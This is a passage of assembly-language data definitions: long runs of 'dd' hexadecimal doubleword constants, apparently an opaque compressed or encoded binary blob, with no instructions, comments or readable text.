3140C09Ah, 0A5000296h, 1188DCC8h dd 29FA30EFh, 13C92FFh, 0D69402A5h, 886618A3h, 239AD14h dd 85D28726h, 0B4E26FD6h, 9858C8C2h, 9B2403D7h, 431820FAh dd 0CF2A9101h, 0AFC0B094h, 0C832C461h, 87005422h, 0DA6E94C7h dd 4AA88B4h, 1EF71AF1h, 0C138C3A2h, 0FB9528F0h, 23763E18h dd 244B4EA9h, 1F403FCh, 0CD3286EEh, 96CC2446h, 2B1048Ch dd 6483D6D0h, 99106800h, 2BBA05h, 294C4021h, 4296C477h dd 24CAD0A0h, 0FF22FC98h, 15301D5h, 0F4407039h, 2010653Dh dd 0DC044F9Ch, 0D89686C0h, 4DAC0891h, 80481701h, 24E850E9h dd 28BF7AE0h, 4694FFC3h, 9499021Eh, 31BFC0A6h, 0D1891055h dd 60710194h, 0B830DD0Ah, 93D4E874h, 0E97A7001h, 1A28BFEEh dd 0AB0861DAh, 3D083218h, 70F78994h, 3D032ABDh, 626F913Bh dd 0DE42900Bh, 0C5D800C9h, 2351405Bh, 58C8791Ch, 3D26C0AFh dd 17218990h, 0D291DCh, 0E93D1EC1h, 42BE3F3h, 9ADA821Ah dd 1488052h, 0FA5213B8h, 3060F2D8h, 930C79BFh, 39592241h dd 0E88A07A4h, 51EAF4C8h, 0F8B283CEh, 0AA3B93DFh, 42CA8C22h dd 36A27823h, 0D0A1F9ABh, 2B02B046h, 0F89913Dh, 80540D30h dd 3D0123BAh, 42D72BCEh, 430E534h, 0D3FF1269h, 0B1043FEh dd 310005E1h, 0D67994BFh, 3D0BA51h, 9E70B58Dh, 748A8366h dd 0DC45C642h, 0EC60D3E4h, 0F700D03Ch, 0A208ED2Ah, 48726D5Ah dd 8E033CEFh, 0CB034E17h, 0F004519Bh, 6352BCFDh, 1D80D090h dd 21FA239Ch, 0A544941Ch, 0D865C7C0h, 44067E98h, 39EEDAE9h dd 20649058h, 0E34F4382h, 0A218C8A8h, 218B686Ch, 737D9A03h dd 0E869B028h, 26106E7Ch, 475476A9h, 1412B01Ch, 8B1D6873h dd 0DF944A88h, 8AF00A8h, 2F793496h, 33FD35EBh, 0C80CCB70h dd 0BA01C0E4h, 0DB076785h, 6E292B48h, 0A0F6C202h, 0D8196FA8h dd 36BB06EBh, 80DC546Bh, 24FBB92Eh, 0E7160A90h, 23203AABh dd 0E6003A60h, 0DC9A9862h, 4094106Ah, 0EF387A01h, 1884791Bh dd 440EA042h, 20D0EA8Dh, 5868C3EEh, 0D444FFFFh, 247E0F42h dd 38A08D96h, 9478B7D6h, 114A5803h, 40E9C972h, 8CCA94F9h dd 2C3B9105h, 78CE8D77h, 3B99C000h, 41D9A302h, 140FCD01h dd 7ABDD2BAh, 7C4AFAF1h, 9CC15FC8h, 0D8E47EEDh, 5E162491h dd 3F708024h, 0CC47B5D4h, 225FA600h, 0EC0EAA87h, 0D150E92h dd 0B800F66Ch, 9A502308h, 801DF932h, 2A63093h, 0ABD69514h dd 0AE11E0BCh, 643C0302h, 0ABE4CC7Ah, 2858C1C5h, 2AB830A8h dd 9495048Ch, 389FC0A2h, 94CD008Dh, 7A6E9047h, 27009B61h dd 125A51B9h, 48637859h, 9C2CF401h, 57465E78h, 1866330Eh dd 0ACDCE8AAh, 0E8467490h, 8A5D5600h, 7D899A4Ch, 3ED47209h dd 0E41C6549h, 84E16006h dd 54C4488Ch, 450CCE17h, 0C9B477E4h, 26F03068h, 92182381h dd 0C0A7940Ah, 8A5078B7h, 629403CAh, 52C951FFh, 0A3C4E6B0h dd 6779BA03h, 0F9750F15h, 0AFD05599h, 117C60C1h, 4A23CE9Bh dd 7EB1F209h, 8CD0C95h, 3821C067h, 0C0BD23C6h, 66B60803h dd 0E0CC7778h, 0E8641D28h, 8275307Bh, 2CE9CEDEh, 0E179970Ch dd 0C06D0854h, 0BC429F21h, 0A30FE00Ah, 61EDFC24h, 7E607663h dd 618E70F0h, 136728A1h, 0B0545223h, 4BF8CF31h, 7EA946F2h dd 1C73988h, 97D2EF23h, 0D0FE2ACCh, 0B4F0A5EBh, 0E89B6240h dd 72D33044h, 0D6B55511h, 0C6FC1E01h, 9EF47775h, 21910898h dd 0D600ADB8h, 7D9F455Dh, 0B2A982h, 2FF4B722h, 92A465C7h dd 3A1F1E4Ch, 0FA799F7Ah, 7E5B39C1h, 0D08098E0h, 33053862h dd 5E00DBFBh, 0F4D5EB94h, 5699CD4Dh, 511EA02Bh, 54E9C8BCh dd 0A2407CC4h, 0D7FEBC49h, 810FA100h, 0EE59CAF4h, 0B8FB0538h dd 188F5F8h, 0BE4497CCh, 2CD042ADh, 11BC4E30h, 884CE9CAh dd 46A3807Ah, 109E5ABCh, 0EBFD030Ah, 0B311C0D8h, 4E23CA80h dd 187D1F2h, 0F623C23Ch, 0A44530C3h, 0D8EE8B00h, 0E1CF42D9h dd 619E0BEBh, 620C935Fh, 0F8517030h, 7E89FF40h, 0F2209F90h dd 34436112h, 0BD9F1457h, 68810C04h, 28E44Ah, 0AA52EE70h dd 945074E6h, 15125CC4h, 30006920h, 19E8F509h, 0E938C193h dd 4175F71Bh, 0A14D28h, 0C97A1C67h, 0FE06F4C9h, 890D188Ah dd 3091CEE4h, 30AD8802h, 4C1123D0h, 6588A1F2h, 23C83680h dd 1E26BA9Ch, 5E1FF927h, 800C244Ah, 5BCCA57h, 5900EE65h dd 8BE02C9Fh, 22C30A45h, 0D67B6D1Dh, 0D4396C00h, 9B7364EFh dd 0F09C0C92h, 0B7A08D89h, 0B0069E0Dh, 704EF876h, 68C08788h dd 903384AAh, 13EA0D6Bh, 23F0815Bh, 3066A214h, 970F1E84h dd 0EE486F18h, 0B1F1D8E9h, 0B9F018F4h, 1EC0B88Fh, 6F1DC518h dd 0FAAEB3E9h, 0EE0A0057h, 0BE855D25h, 5100617Fh, 785831E6h dd 2CC684E7h, 97C6217h, 10B74BC2h, 0A9F95380h, 94D2E1Fh dd 78640DFAh, 0D1181400h, 140B8C8Fh, 15C1C55h, 0AAEC2E58h dd 40711420h, 48021869h, 1E83B0A1h, 47B884BBh, 25D6BC60h dd 11AEFC23h, 0B4B3008Dh, 856A5BD6h, 1CBC15FDh, 57038068h dd 0D15E98AFh, 0B1DB6BA8h, 0EF77F600h, 1A4E15B5h, 6229C75Fh dd 4AC5413Fh, 79118096h, 20BB3223h, 5E591938h, 0BD830918h dd 322B0021h, 0FCF737E8h, 774331F5h, 506EC0F0h, 0CE1B188Ch dd 51132800h, 5A964CDAh, 6ECF3219h, 0B83043E0h, 0FC2111D6h dd 808C88CEh, 7ED6B0B7h, 2109AEEFh, 1849D306h, 668A78h dd 266BB460h, 523A99AEh, 0EF022004h, 0B89479F8h, 639D5C8Eh dd 0E33013Ah, 0C1DD14B5h, 0DF005C62h, 0A417E72Eh, 35008F4Fh dd 194A3197h, 2103D8h, 99C5E9F9h, 0BA10F309h, 19A89D49h dd 7D416CC1h, 1EF14ED0h, 0C11CF8F0h, 0A97E5D84h, 0F4B6C976h dd 0EF38D356h, 0D4007F32h, 4FFA2B4Bh, 9597820h, 557AE3E9h dd 0E0EBA411h, 8A0606Ah, 0D20218C0h, 0F71CCB50h, 790160C3h dd 0C1E10197h, 0D8E40412h, 0A2E82376h, 0DC2D308Bh, 0E4BEED0Eh dd 2BB004F5h, 1E0B348Ch, 4059C5FFh, 7DF84C13h, 3015116h dd 0FCE42788h, 0A092755Eh, 0CCAC60B1h, 0F27A5023h, 3AC010B9h dd 7D8A23C4h, 3F512C59h, 0C908B7B4h, 32225430h, 3020BA11h dd 58808D88h, 23F9322Ah, 0EA97CAEh, 7E9F1F70h, 89E0FE22h dd 0EE2E7060h, 6064DB24h, 30C66032h, 0B8733220h, 91224046h dd 32285200h, 9817BF2Fh, 0D918006Dh, 5F0C4341h, 62E40D74h dd 10E78C92h, 38E9E245h, 0F6014698h, 607B16E1h, 79DCD880h dd 203491C1h, 58EFE407h, 0DF306C10h, 0D8F6AAA1h, 1C186762h dd 43C0A066h, 35CBDFFh, 0F1428CAEh, 84A8515Dh, 1359C041h dd 81D3308Ch, 0BE1D07Bh, 6D2C1FBBh, 0DE085801h, 0A8CF048Dh dd 98B5F708h, 0AE204028h, 10F4185Ah, 0E26739B6h, 4095CA24h dd 305A30Eh, 1F57046h, 38BC7571h, 0A86312FAh, 2646C849h dd 0D0BC4C02h, 6E313CE9h, 0BC449D10h, 0CE6C3D16h, 0B21AF008h dd 4B302948h, 0E9CF17BCh, 0A0483824h, 48436Eh, 190980AFh dd 423901BEh, 93FF1679h, 7598204Fh, 89156715h, 0E8D04C98h dd 0F9008C5Eh, 0D746F88Ah, 7E96C34h, 0EB97564Ah, 5D4D00AAh dd 1C7840D5h, 291888A8h, 0D9261A05h, 440AF6D2h, 28A6A074h dd 98E6008h, 0B84751C0h, 8D6063C4h, 0E11FEB0Ah, 0B4835BAAh dd 76D24Bh, 0CF8A5469h, 796C23A9h, 0ED7C5A06h, 587890A3h dd 2004E438h, 82265E14h, 909F7B1Ch, 0AA836891h, 33D0A43Ch dd 0BD7C1EFAh, 0B9E8F209h, 0E5280180h, 90751F0Bh, 12BA5042h dd 582F7240h, 1CC6AA0Ah, 6580EC72h, 2CFA3F0Eh, 0D77C00DCh dd 7F60411Bh, 0C70EAE4h, 0EF339A16h, 7A185EECh, 32C95879h dd 0A7F7F4E9h, 4944E494h, 23D6BA60h, 8C9EFC26h, 7B2B570h dd 0A9A0C8D6h, 486B0F88h, 80448018h, 97FDC20Fh, 0D5F3A0B9h dd 4C88FF7Fh, 4B1038E2h, 0C0C2888Ch, 20BC3224h, 56000EE3h dd 6FAF322Ch, 5B008CE3h, 5CFA5A09h, 0C07AD249h, 0E481DC99h dd 0FD0158D0h, 42AAEE83h, 2420EBCCh, 6D7C44B4h, 0E8F4E9C1h dd 0B0407EC5h, 94CF0491h, 480B1298h, 4FC02DB0h, 4BE9CBBCh dd 0A4C82C44h, 65BC4700h, 0A5D9B017h, 59A600EBh, 36CF1FF4h dd 78A5D219h, 0D26083C4h, 7E12E8E2h, 20CBD110h, 63C066C8h dd 0C160EB1Bh, 0CAEA67A9h, 0C033F1FAh, 0D81FC9DAh, 1B1479D3h dd 26590B2Ch, 11381D45h, 6B878782h, 238C14F3h, 0CD01B2B1h dd 0B9F25123h, 3BB02828h, 5E0F23C5h, 6B2DC885h, 1FB082B5h dd 7106019Ah, 787006FAh, 0CF2E25B2h, 0F0F45C98h, 0CC726926h dd 2CBEA89h, 18D9738h, 3884DF20h, 0EB95002Ch, 85E88AADh dd 0C130C082h, 17977BE9h, 0A9BB5539h, 8ED1D8D3h, 1A000C18h dd 0A3B654A2h, 0E1B370h, 0F60E27C9h, 18A4D747h, 0C30BCE00h dd 7E5A6D8Bh, 7ADD20E3h, 0C401330Bh, 4DA183F4h, 87EEE9ECh dd 7705D88Dh, 28A0BFF9h, 0DC84E0A1h, 5CD01842h, 8C8CA8h dd 0E9A150FDh, 0EA05868Fh, 950FA613h, 302AAC82h, 0CC12BC50h dd 208B5CE9h, 0BC48A100h, 9D7C0A4Bh, 0AD7FF500h, 0E4189728h dd 0BACF0217h, 15F0F239h, 1C6B7868h, 0E75A4720h, 189A3AD0h dd 5061B4F3h, 450320F4h, 0F08A9C42h, 70E90178h, 71E50EEh dd 0E882E2ACh, 0CC721F2h, 0DD606564h, 0FE7FF802h, 0E9928403h dd 7858DF13h, 684C3C90h, 0F131C637h, 39821DE8h, 53EF107Ch dd 3A01590Bh, 8F11A09Dh, 64D43080h, 200B9CB6h, 44B8C2A3h dd 52E34330h, 315EE2A4h, 0B02CC4F8h, 0E045E700h, 7EF478BFh dd 30A85A17h, 3AEC893Ch, 24C88365h, 8788048Eh, 308521C0h dd 34FF141Eh, 5A2CC87Dh, 8870EA5h, 860F071Ch, 6B020D33h dd 16B81DECh, 0D63F008Ch, 3CBE668Dh, 0BD018903h, 60723B1h dd 2B832BE9h, 9A58529h, 3AAA165Bh, 161B2398h, 0A800FE90h dd 0A7C15D7Dh, 0D8C9F58Bh, 0B818A86Fh, 5C008C1Ch, 0F3695375h dd 684709Fh, 2585C7E7h, 9B03A631h, 0E85F96A9h, 66370010h dd 95DC24C4h, 220F188Fh, 20B15EFDh, 0E0EDD5EBh, 0F7B71A0Fh dd 79DDE05Fh, 181B7125h, 73B0002h, 3F83F5B5h, 852A8967h dd 810C9B95h, 0C2CDDBDh, 0DE51F3D0h, 0B0D3A85h, 0C01A8882h dd 35051338h, 77FE1905h, 321985FFh, 0BFA917Ch, 0CEDE457h dd 32E9B529h, 45EDFF18h, 0A4B4BB18h, 837D35h, 0D2829AADh dd 32CF400Bh, 1251D424h dd 5F17B407h, 195FF11h, 715E49A1h, 1687181Bh, 686647h dd 0F843E95h, 9005F3BFh, 309D9589h, 18232D3Ah, 0CCE27301h dd 8923ABDDh, 7301CA2h, 98E8EEh, 0C2E8FFD8h, 0CBD6816Fh dd 0D8D2601h, 1A6DB509h, 8B66A085h, 1AF6BBF1h, 10C0A2B2h dd 0DCB538BBh, 7E3080CBh, 79DBE17Ah, 0E21A1200h, 0C0955FADh dd 0EBCD5A3Bh, 273CDF41h, 0B6C0B4F1h, 18A22DACh, 67A7A17Dh dd 75FC9633h, 41FB00D6h, 0F0D5B404h, 8F3C7FECh, 0A2D8562h dd 8F3A5EE9h, 0CF001823h, 0FF7C7386h, 0E9BD120Bh, 19382117h dd 0AA60732h, 0AFFA33h, 0B278920Eh, 4DECBE05h, 0D67054B7h dd 6F007D74h, 124EB6D2h, 0C998849h, 0F8DBD8Bh, 0F838B775h dd 0E81AC8FFh, 9C008C1Dh, 70BDCFD1h, 70E71352h, 0B5311AA4h dd 7E80E1E1h, 8C0F92F5h, 0C53B256Eh, 60E1B89h, 0E911118Bh dd 0D37E0F10h, 0AE76A0F9h, 18C7435h, 77173C64h, 8E0BA105h dd 80BBEE56h, 2652E781h, 81C1488Bh, 51402938h, 7530B5F2h dd 0EB5E0E19h, 0F934A004h, 9BD1803h, 0B5231C1Dh, 8DAF2565h dd 9F1FC70Fh, 46746626h, 4AE50018h, 9027A1C9h, 880F2850h dd 0BE9306Ah, 0CF66F40Bh, 36497800h, 0CA58B624h, 0EA905B9Ch dd 1423332Eh, 0BF663C03h, 0A6408E3Ah, 4F1F0068h, 0F89B82EDh dd 0BE07DC77h, 7B9358E5h, 3EB8A50h, 6B5C35A4h, 23C53A36h dd 0A03B0019h, 0BF7080F5h, 3139DA0h, 19B20B43h, 0C9C530h dd 0B7DE6D0Ah, 102DB589h, 0C083C4A0h, 0A28E0553h, 922B301Ch dd 6E271300h, 8658B2FDh, 0EA804C0Fh, 55100394h, 6117512Bh dd 90FADB19h, 50F25060h, 0A28B23EBh, 0C7833017h, 49A4404Dh dd 0C6F4BD17h, 0CF992952h, 181BD122h, 0D9C11D97h, 5F8700B5h dd 666057CFh, 0BA9ABB0Bh, 0CD462261h, 9F71DD1Bh, 0EC181AD1h dd 7F8D5103h, 0A8BEBFA6h, 2DA5B79Dh, 0A7DD060Ah, 0C300C7BCh dd 7C5B2631h, 0D3FF2477h, 4202DE11h, 66E4C4A6h, 0A7463Fh dd 395096A0h, 0EDD1AA90h, 0A9272416h, 0FA5EA05h, 2CE5EE21h dd 75ECE901h, 0FFA96E23h, 5F081D89h, 0B801F485h, 9D307FC7h dd 5B73EF4Eh, 12686C2h, 11679712h, 43DE801Bh, 2D7AF86h dd 8BA487A6h, 636A859Dh, 0E7EE8540h, 0E3703774h, 5E5169C1h dd 6570DB0Bh, 9D898865h, 0D232120h, 111BD83h, 84A28CF8h dd 6BE92739h, 6D7F0878h, 0A9B4C253h, 1711F786h, 8E80F300h dd 5F0F49D3h, 0CE7847h, 0A4742D13h, 0C7F4377Fh, 0CE468551h dd 0C1BD5681h, 2FE9011Bh, 0A7817A4h, 4E1922A6h, 88E68F12h dd 4D49C019h, 3B24D9CFh, 0AB216334h, 8D35F52Dh, 46B6DA80h dd 2CCA1C5Dh, 10F72BA8h, 23810732h, 762EFEFFh, 0C0C4DAEFh dd 0C003E7C8h, 21A60BD9h, 6677F214h, 7B8434E6h, 0C0E8DB31h dd 0A0BB9ECEh, 0B7BF0575h, 5C4D285h, 0CC987EB8h, 5D033E50h dd 6BCE4004h, 9383E111h, 33ED2731h, 76F0BF00h, 11812758h dd 0E83F0D81h, 0E3003D44h, 0E0C76369h, 0C0505EA9h, 89855164h dd 5EA52404h, 986015C4h, 0CC69E9EEh, 916A9D36h, 0E0668F1Bh dd 0DA12F57h, 0B038389Eh, 0D5B04756h, 7002E601h, 0DD8D8960h dd 40F8E62Fh, 0C690611Dh, 29A120h, 0B60F71E4h, 8D8B60D8h dd 2119D925h, 0BA61D396h, 0FA5B7322h, 6E81F924h, 600715B1h dd 0D9BD33C3h, 0C1246AB2h, 81080AE8h, 0F98B8102h, 6FE2F766h dd 0D6AC6BA9h, 4E00C2F8h, 8A468FBEh, 1D82B22h, 0BF0B70Fh dd 2D15B5h, 9BF5350h, 326AC521h, 241C6C82h, 0BF70F853h dd 0A0AC091Ch, 0BD66FC7Ch, 0A6788A9Bh, 20F102FBh, 0CB3D0AF9h dd 1899882h, 64CE4D09h, 0F8E5631Ch, 9B8BF50h, 824FAEB0h dd 1411201Fh, 1F098889h, 1D11411Dh, 23B90280h, 0A0459FEh dd 3AA6509Dh, 0C13A3084h, 0F6001D23h, 1ABFE2ACh, 75BA0B8Dh dd 0D1820FC1h, 3C031301h, 0DA83CB61h, 0D0A87B02h, 6148105Fh dd 9950897h, 11682423h, 5A501A02h, 1D918968h, 8914119Eh dd 0C0A21B7Fh, 241ABE66h, 2A9C5E81h, 0DC9C9696h, 8F037672h dd 295296E6h, 0F092DCB5h, 0CDB64A5Eh, 7451E077h, 87285A88h dd 0D1208A68h, 0BD8B272Bh, 0D82A8FAFh, 144674B7h, 2197D2Eh dd 5897DFE6h, 1A4448E7h, 9C788C60h, 0F74C0601h, 0F9F18B71h dd 59880834h, 0AE62E209h, 0B9053321h, 0E00E0089h, 0FAC01D88h dd 0CD8D7Fh, 0CF1AB17Ch, 0F08B826Ch, 17C18338h, 0B20ED93Bh dd 1DF810CCh, 0CD59008Ch, 0ABB1AF10h, 922C3D1Bh, 0D917B1C5h dd 0C225460Ah, 32E7BE80h, 59F63074h, 7A2EBCC1h, 21CD625Ah dd 28AB209h, 0C22B5B90h, 3DC44032h, 4F46B634h, 8C1AFCB0h dd 0A59F0E00h, 7213CF07h, 0B8660A60h, 8BFD28Bh, 61123151h dd 0D94B791Ch, 0DF9F4AE9h, 9F58E073h, 0D0C2003Bh, 2B60A2E4h dd 0C04F8BAAh, 8086C723h, 0E10FE48h, 4E526D36h, 64F68380h dd 5FB607CEh, 7E3E68h, 4B0E063Eh, 0CC5743E5h, 29E48062h dd 85C7021Dh, 0C04BCE3h, 31849FB5h, 1A887ACEh, 0A0EC83C0h dd 606200BCh, 0DF8157EBh, 6A2464DDh, 9D04222Ch, 71F41255h dd 820B51FCh, 596CF8C9h, 0B02C15F2h, 0D1CAAA89h, 800F8A3Dh dd 0BF163B52h, 4B7729F1h, 0C2158867h, 6BCD35BFh, 8F6017C4h dd 2C09013Ah, 8B52FE8Bh, 5E611146h, 16E85B3Ch, 0DC3A1C8Ch dd 19606E53h, 0D8239FADh, 5BC11EE1h, 17718529h, 17ECC428h dd 0EFE5098Ch, 0C90279D5h, 0B30EDh, 8D31F956h, 0CADB8AB1h dd 0BDDE70h, 0BB3CE809h, 0BF66CABEh, 0F6C41226h, 82E600DEh dd 2AB6D626h, 8922B503h, 41EDEC1Ah, 0B9E1EB01h, 0E2EC6F2Fh dd 128C15E8h, 0DBF9EC2Dh, 8A59803Ch, 0AB616ACh, 4340EF6Ah dd 17465C24h, 96FFC01Ch, 51940C05h, 2B02BEE7h, 0E9503CCCh dd 0A747D831h, 601544DBh, 4D8BCF96h, 2DBCFEC1h, 0E95B3000h dd 25135865h, 605F01C1h, 3415A5BBh, 883F700Dh, 0BD66BD94h dd 2F2FB4C3h, 91581D5Dh, 0E3238216h, 117B9777h, 1DC18117h dd 1B30D5C4h, 2D4E98FAh, 68951E49h, 2A1D37C0h, 0E250ECADh dd 0F04C052h, 5A616031h, 80C586Dh, 7448DC28h, 3C70FB5Bh dd 5B8E8C96h, 0E44BFE67h, 91029D6Ah, 0BE8D801Ah, 2CB8E9A4h dd 3C7549AAh, 12317412h, 0AFAC898Fh, 3E46B75Ch, 93DE0FCh dd 0E248B4B9h, 16E1D782h, 0DBCA790h, 0EC1B0B4Ch, 0FB018C1Ah dd 7D4656F7h, 0D841E4C8h, 9039E9F2h, 0ACA6DA00h, 0E3C36A72h dd 393AD702h, 0D81DD1FAh, 440FA782h, 3355601Ch, 60F3009Ch dd 0FF689B12h, 0D30BD29h, 0BF90D42Ah, 0F44B0B59h, 0C4775021h dd 17699059h, 6F90292Bh, 3E77004Ah, 9A34841Fh, 0FED4A0A3h dd 6F6A4E13h, 0EF7300CDh, 0BEBD45F3h, 1DA0BD4h, 0CAD5818Dh dd 0E0E44D75h, 96447F5h, 85E33FEh, 17A020AFh, 0FB00A3EEh dd 80DBC2DCh, 3B7B71E6h, 0AD8275F4h, 93CC4BEh, 2D04F9F5h dd 0EDD5A70Bh, 0B7C1E0E3h, 0AE24EB67h, 1A2DE190h, 11C21DA8h dd 49598017h, 5BFFAB45h, 556BFAD3h, 90CBDC02h, 78614D6Ch dd 681B2529h, 0CBE9CFAFh, 88A96508h, 56070DC6h, 1D4D820Fh dd 21C92061h, 95D95F02h, 0B6344DE4h, 0C586A159h, 1E7C83F0h dd 87D0956Fh, 0F49D8B69h, 65161609h, 0BBE948Ch, 6E569AABh dd 8A89769h, 12F12195h, 640B4008h, 71604A25h, 351A0649h dd 5C74BDD5h, 13221C2h, 2CB5E961h, 6124D719h, 849D321Bh dd 0E9E046F6h, 1B026608h, 253F512Eh, 9672F535h, 0E4CBF01Eh dd 0E611DEC7h, 0CDF35770h, 5A349012h, 0E9C6079Fh, 0BD63245Fh dd 29CEC92h, 8D29DB98h dd 70B320BDh, 877A285Bh, 0BC876E0Fh, 0C1FC3C40h, 0C70081D0h dd 0B682F43h, 5C69B533h, 9D84A210h, 1A8D0903h, 585102h dd 0E360EA78h, 0B90075A2h, 3D92C5BCh, 5BFB8783h, 1FDA34E0h dd 5A0AD0EDh, 7F6EBC17h, 0C2F92802h, 0E468A0Fh, 2D258510h dd 32E6225Ah, 809F0229h, 0A02871D9h, 95900D3h, 0F575090h dd 2FCB1381h, 2B2910E8h, 0F6450062h, 0E7F49D46h, 379DA8Fh dd 5E5F8D0Ah, 0A5188E90h, 6156E977h, 799D8D04h, 3BB00323h dd 441B99Dh, 0E65404E6h, 88D08E70h, 0E49AC114h, 8BDF6071h dd 83E8C229h, 2EDCF00h, 12E3CBCDh, 0D401B52Bh, 2CFDE134h dd 8C18E81Bh, 0C217E104h, 19B8D794h, 0BAB23704h, 0B083E706h dd 161EF31h, 233B364h, 0EE8B5663h, 580C53F7h, 2F90B04Fh dd 4412F85Ah, 15ED3B04h, 3A22C513h, 2182334h, 5312039h dd 0E601955Ch, 0D82B1801h, 99B80E7Dh, 5BBE5A00h, 502012AFh dd 81900743h, 0B03ECDD6h, 0FA8B936Eh, 0FBEB43F9h, 11BD23B8h dd 9A9C204Eh, 0EB565B57h, 4B47CA40h, 1CE72D8Ch, 675E73EEh dd 34B05919h, 0F304B7AFh, 2669BD31h, 0F98BA0D1h, 6E9A4121h dd 0A1D872F2h, 5B288E34h, 0B180CEBCh, 75D18293h, 20FB601h dd 0D83A94A7h, 0D750212Ah, 810DF0ADh, 61BF4F00h, 67261554h dd 7D1305D0h, 0B45E9D73h, 9586C274h, 61004AB5h, 59D99D5Dh dd 0AEF71963h, 25FAC224h, 2F4B4D70h, 0E00C26Eh, 0EC778867h dd 0FE2440D4h, 0AE2FDFD8h, 0B1B5C2A2h, 0BC17FA21h, 702740E9h dd 8A0235FCh, 0AA088D50h, 904644B9h, 460548DFh, 0A590ABD7h dd 9D1575h, 0C30A7F81h, 2C4C9543h, 9E00ABA6h, 1445F829h dd 8E3936h, 0AB0E26EAh, 0DD8611FEh, 485F2D24h, 0EF03EC25h dd 0EC135110h, 6A3F5000h, 81B3F22Eh, 98CF7CB5h, 0B65849FEh dd 0FF0961BCh, 468F0FFBh, 0C2FC7175h, 1D2888Bh, 792DFEC4h dd 115EB71Eh, 0EBE5831Bh, 5975B0B4h, 12BB5B97h, 80C6DB5Ah dd 0DED39598h, 613509DDh, 0A19A8D72h, 0B8F1F5h, 18E599BFh dd 605E5F6Ah, 673540AEh, 6DB6F34Ah, 40D1800Bh, 559E6961h dd 203EFBA6h, 0BD091629h, 0D97A3271h, 7DD1F04Ah, 0CF011509h dd 18B0417Dh, 7FED7A5Dh, 0BC7C400h, 0DEE107A7h, 581E832Eh dd 0BD16F828h, 0ACDC17D1h, 0BAB57F23h, 6E5B4AD1h, 211B0018h dd 606DACF7h, 755B1FCCh, 8412C78h, 85BE2015h, 790265BEh dd 9529A703h, 861CEE41h, 51CD1EADh, 610C4E5Ch, 0EEC32B25h dd 95B0AAF6h, 0D800AE03h, 4A34B445h, 848C0F02h, 7120DB98h dd 0C423B609h, 18233F50h, 0C0CFBE00h, 0A2E9B8B5h, 70DAFB25h dd 2F12CA9Dh, 10100C9Ah, 0EBBF808Fh, 2560E547h, 0E04DC08Bh dd 0A433FDC0h, 0ACEA0B0Ch, 27C9DFF6h, 7D64203h, 0A0953252h dd 0DC67B3E1h, 71B79D51h, 6E1BA600h, 7CFC069h, 42D4EE81h dd 0EC608413h, 0F9AB80B4h, 19AAFF3h, 0A7F7528Ch, 0CC8A5633h dd 0CF04D9CBh, 6FBC5B35h, 76C06182h, 8BFCDCF2h, 2D3CF15Eh dd 0D7818813h, 0EA2F4190h, 0B22D335Eh, 0A2512901h, 4029CD49h dd 57DB0771h, 66CF3405h, 3DA14F60h, 114EDC36h, 902DC89Ch dd 0B30BE737h, 0CF5C812Ah, 6E6A3D63h, 13C700F5h, 36F01F0Ah dd 0BE660C0Dh, 0B08F3A2h, 0C0361258h, 8061B3D2h, 0A375002Ch dd 15BF2388h, 3126629Fh, 0AA53ED7h, 0EFDE2522h, 253FCCF4h dd 78B78236h, 47F55E0Eh, 0B302D7B9h, 6FE62Fh, 0BA36A7C4h dd 5D606440h, 8563063Bh, 358D31EBh, 0E65EDD92h, 521A01B9h dd 0D7734F85h, 0F0DB364Ah, 9F9AE082h, 9D89A718h, 1801D77h dd 4B92085h, 0E95E1895h, 0FFF738EAh, 0A06EDAh, 0FC2ECCE5h dd 4F95455Bh, 62338856h, 26027D7Eh, 0A1225448h, 11DA825Eh dd 0C1CB0E33h, 94CAD266h, 0CDA5E8FDh, 2C0EC085h, 60BEC0CBh dd 330E1610h, 0DB9609BDh, 0C019C8BDh, 0D3BD588Fh, 838BA624h dd 0FEF2C602h, 1E4D7E90h, 0F316BE52h, 88D08E5Eh, 5E47C015h dd 0ED4CB50Bh, 7201D206h, 3880F78Ah, 51BE108Fh, 0D072D7A6h dd 0B17CE17h, 8087DBBEh, 0DA9C4C65h, 127D5B12h, 0E78CE668h dd 158D89A1h, 502F857Ch, 5C4A3D08h, 0F40B1746h, 7E84D91Dh dd 1907A384h, 0F552D7A7h, 0BD2B0682h, 0F3D12F55h, 500FDB69h dd 8B055FA3h, 814288ECh, 6A4BF2A7h, 9868026Eh, 0C69A99D7h dd 0A27004Ah, 0D93DE09Bh, 26009F39h, 7C814869h, 3A9EBD65h dd 6305A868h, 53D3FFh, 0F2570FBh, 0EEB45E3Ch, 17DE2D6Ah dd 4FCBEF7h, 450FE591h, 12B2097Dh, 2A0BD8C9h, 0B0E1994Dh dd 0A6E95E87h, 90DC7FD8h, 0DF2AB7C7h, 0AFCE059Ah, 0CB32B3D6h dd 0D08B2A9Ah, 189502DEh, 0A309E648h, 84DECFC2h, 0D9D9F3Ah dd 0C0816C73h, 5BB90EEBh, 0B7375332h, 6C42A04Dh, 0CB213927h dd 0F9D9684h, 51BEC889h, 35275B90h, 45F8E44Fh, 91022E9Bh dd 0D91612BDh, 53C115Dh, 1A18589h, 179CD34Dh, 0ACCCFD7Bh dd 5CC7013Fh, 0F599EBCh, 4B2E3983h, 20DEAC1h, 1B617707h dd 2D49D288h, 6B537429h, 85BCE273h, 0DEE2F1BEh, 0EB264100h dd 8AF75F3Fh, 0AEA1A00h, 63DD9440h, 0E67B3D9Bh, 0CC27EEDEh dd 0CA99F916h, 6E50D64Ah, 0B5890511h, 96501E7Dh, 4796010Ch dd 0D0F7A54Fh, 0FF09E721h, 20B80D69h, 648CB624h, 18A2611Fh dd 8F7CABEh, 15B5FB3Ch, 7A494022h, 38010C92h, 3FCECC05h dd 0A66360F5h, 4E07EE07h, 5CC0A191h, 2E962167h, 61CF4D31h dd 0E657F6Ch, 5E58B2F7h, 0A6F512FAh, 0C0C7E064h, 34924B7Dh dd 0B8FDADEFh, 0C58B1386h, 0CD45C8B7h, 8F8E5538h, 0BC2874B1h dd 0E2D406C3h, 0C00EE817h, 64EFA23Ah, 875053DFh, 6F2FC500h dd 1BD3808Eh, 0EF5128B5h, 0A40504DEh, 0B129E92Eh, 2B97E8Ah dd 7F3878ACh, 0FDDB4EB0h, 0FDEA418Ch, 0E241055Bh, 15098529h dd 443536Ah, 130B3178h, 0CD6F4BC5h, 8B273A00h, 0F99D89F7h dd 0BA1D0595h, 306987F3h, 0C4CD46EAh, 0C15997E0h, 2879B8Bh dd 21A99D01h, 0D74882D4h, 0D85D09DEh, 0B068E8CAh, 4F005B9Eh dd 0CC70D769h, 767534Bh, 18CA6C37h, 960CA197h, 37207E24h dd 25398h, 61C74A43h, 8E0FEACCh, 5F5E818Bh, 77012333h dd 